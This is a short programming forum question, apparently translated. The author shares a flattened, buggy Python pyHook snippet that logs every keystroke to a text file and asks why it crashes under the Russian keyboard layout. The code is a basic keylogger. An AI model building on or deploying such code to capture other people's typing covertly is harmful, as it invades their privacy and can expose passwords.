I wrote a program,
def OnKeyboardEvent(event): data = '\n\tKeyboard key :' + str(event.Key) t = t + data f = open('Logfile.txt', 'a') f.write(t) f.close() t = '' return True And here it is
hook = pyHook.HookManager() hook.KeyDown = OnKeyboardEvent hook.HookKeyboard() Everything works fine, exactly until the Russian keyboard layout is turned on. When this happens, the program crashes, It also happens when you press the system keys ala Del (shift and alt work fine)
How to fix this?
PS How to at least make it so that the program does not fall, everything that is entered in Russian is not very interesting
TypeError: KeyboardSwitch() missing 8 required positional arguments: 'msg', 'vk_code', 'scan_code', 'ascii', 'flags', 'time', 'hwnd', and 'win_name'- Yuri